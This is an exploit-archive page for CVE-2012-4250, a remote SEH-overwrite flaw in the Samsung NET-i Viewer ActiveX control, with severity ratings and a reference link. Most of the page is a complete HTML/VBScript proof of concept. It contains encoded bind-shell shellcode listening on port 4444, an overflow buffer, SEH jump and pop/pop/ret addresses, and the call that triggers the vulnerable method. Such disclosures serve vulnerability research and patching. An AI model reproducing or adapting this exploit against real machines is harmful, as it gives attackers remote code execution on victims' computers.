Samsung NET-i Viewer Active-X SEH Overwrite

2012-05-02 / 2012-08-21
Credit: Blake
Risk: High
Local: No
Remote: Yes
CVE: CVE-2012-4250
CWE: CWE-119


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

<html> <object classid='clsid:FA6E2EA9-D816-4F00-940B-609C9E8847A4' id='target' ></object> <script language='vbscript'> ' Exploit Title: SAMSUNG NET-i viewer ActiveX SEH Overwrite ' Date: April 30 2012 ' Author: Blake ' Software Link: http://www.samsungsecurity.com/product/product_view.asp?idx=5828 ' Version: 1.37 ' Tested on: Windows XP SP3 with IE6 running on Virtualbox ' RequestScreenOptimization in XProcessControl.ocx is vulnerable ' bind shell port 4444 sc = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _ unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _ unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _ unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _ unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4c%56%4b%4e") & _ unescape("%4d%54%4a%4e%49%4f%4f%4f%4f%4f%4f%4f%42%56%4b%48") & _ unescape("%4e%56%46%32%46%32%4b%38%45%44%4e%53%4b%58%4e%37") & _ unescape("%45%30%4a%57%41%30%4f%4e%4b%48%4f%34%4a%51%4b%58") & _ unescape("%4f%35%42%52%41%50%4b%4e%49%54%4b%48%46%53%4b%48") & _ unescape("%41%50%50%4e%41%33%42%4c%49%59%4e%4a%46%38%42%4c") & _ unescape("%46%37%47%50%41%4c%4c%4c%4d%30%41%30%44%4c%4b%4e") & _ unescape("%46%4f%4b%53%46%55%46%42%4a%52%45%57%45%4e%4b%58") & _ unescape("%4f%35%46%32%41%30%4b%4e%48%56%4b%58%4e%30%4b%44") & _ unescape("%4b%58%4f%55%4e%51%41%50%4b%4e%43%50%4e%32%4b%48") & _ unescape("%49%38%4e%56%46%42%4e%31%41%46%43%4c%41%53%4b%4d") & _ unescape("%46%36%4b%58%43%54%42%43%4b%48%42%44%4e%50%4b%58") & _ unescape("%42%47%4e%51%4d%4a%4b%38%42%54%4a%30%50%35%4a%56") & _ unescape("%50%48%50%54%50%30%4e%4e%42%55%4f%4f%48%4d%48%46") & _ unescape("%43%35%48%56%4a%36%43%33%44%53%4a%46%47%47%43%37") & _ unescape("%44%43%4f%45%46%55%4f%4f%42%4d%4a%46%4b%4c%4d%4e") & _ unescape("%4e%4f%4b%43%42%55%4f%4f%48%4d%4f%35%49%48%45%4e") & _ unescape("%48%56%41%38%4d%4e%4a%30%44%50%45%45%4c%36%44%50") & _ unescape("%4f%4f%42%4d%4a%46%49%4d%49%50%45%4f%4d%4a%47%55") & _ unescape("%4f%4f%48%4d%43%55%43%35%43%35%43%55%43%45%43%54") & _ unescape("%43%55%43%54%43%45%4f%4f%42%4d%48%56%4a%56%41%41") & _ unescape("%4e%45%48%46%43%55%49%48%41%4e%45%39%4a%36%46%4a") & _ unescape("%4c%31%42%37%47%4c%47%55%4f%4f%48%4d%4c%46%42%41") & _ unescape("%41%55%45%35%4f%4f%42%4d%4a%46%46%4a%4d%4a%50%32") & _ unescape("%49%4e%47%35%4f%4f%48%4d%43%55%45%55%4f%4f%42%4d") & _ unescape("%4a%36%45%4e%49%34%48%48%49%54%47%45%4f%4f%48%4d") & _ unescape("%42%35%46%35%46%55%45%45%4f%4f%42%4d%43%39%4a%46") & _ unescape("%47%4e%49%37%48%4c%49%57%47%35%4f%4f%48%4d%45%45") & _ unescape("%4f%4f%42%4d%48%56%4c%36%46%56%48%56%4a%46%43%46") & _ unescape("%4d%56%49%38%45%4e%4c%56%42%45%49%35%49%42%4e%4c") & _ unescape("%49%38%47%4e%4c%46%46%54%49%38%44%4e%41%33%42%4c") & _ unescape("%43%4f%4c%4a%50%4f%44%54%4d%32%50%4f%44%44%4e%32") & _ unescape("%43%49%4d%58%4c%57%4a%53%4b%4a%4b%4a%4b%4a%4a%46") & _ unescape("%44%57%50%4f%43%4b%48%41%4f%4f%45%57%46%44%4f%4f") & _ unescape("%48%4d%4b%55%47%55%44%55%41%45%41%45%41%45%4c%56") & _ unescape("%41%30%41%45%41%35%45%45%41%45%4f%4f%42%4d%4a%46") & _ unescape("%4d%4a%49%4d%45%30%50%4c%43%45%4f%4f%48%4d%4c%36") & _ unescape("%4f%4f%4f%4f%47%43%4f%4f%42%4d%4b%38%47%35%4e%4f") & _ unescape("%43%38%46%4c%46%46%4f%4f%48%4d%44%55%4f%4f%42%4d") & _ unescape("%4a%46%42%4f%4c%58%46%30%4f%45%43%35%4f%4f%48%4d") & _ unescape("%4f%4f%42%4d%5a") buffer = String(1724, "A") next_seh = unescape("%eb%06%90%90") seh = unescape("%1b%1c%6c%74") ' p/p/r from msls31.dll nops = String(10, unescape("%90")) junk = String(4000, unescape("%CC")) ' 3998 bytes of space for shellcode arg1 = buffer + next_seh + seh + nops + sc + junk target.RequestScreenOptimization arg1 </script>

References:

http://www.samsungsecurity.com/product/product_view.asp?idx=5828


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